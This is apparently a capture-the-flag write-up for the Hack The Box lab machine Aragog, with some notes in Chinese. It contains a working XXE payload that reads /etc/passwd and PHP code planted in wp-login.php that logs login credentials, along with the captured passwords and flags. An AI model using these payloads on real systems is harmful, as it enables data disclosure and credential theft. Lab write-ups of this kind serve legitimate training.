Information Gathering

$ ip='10.10.10.78'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.33
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad21fb5016d493dcb7291f4cc2611648 (RSA)
|   256 2c94003c572fc2497724aa226a437db1 (ECDSA)
|_  256 9aff8be40e98705229680ecca07d5c1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP Anonymous && XXE

# echo '10.10.10.78 aragog.htb'>>/etc/hosts

$ feroxbuster -u 'http://aragog.htb'

http://aragog.htb/hosts.php

POST /hosts.php HTTP/1.1
Host: aragog.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 157


<!DOCTYPE foo[<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<details>    <subnet_mask>&file;</subnet_mask>    <test></test></details>

$ ssh florian@10.10.10.78 -i ./id_rsa

User.txt

5420c3fc08d1386b85effa01662142f3

Privilege Escalation:Credential Theft

cliff 用户每5分钟会调用一次WP登录脚本

)

http://aragog.htb/dev_wiki

添加载荷到wp-login.php。嗅探客户参数请求。

<?php
$info = print_r($_REQUEST, true);
$fptr = fopen("/tmp/info", "a");
fwrite($fptr, $info);
fclose($fptr);

Array
(
    [log] => root
    [pwd] => $@y6CHJ^$#5c37j$#6h
    [wp-submit] => Log In
    [redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
    [testcookie] => 1
)
Array
(
    [redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
    [wp-submit] => Log In
    [pwd] => !KRgYs(JFO!&MTr)lf
    [log] => Administrator
    [testcookie] => 1
)

$ su root

Root.txt

1c3944596f4736d61cc556ed22794d92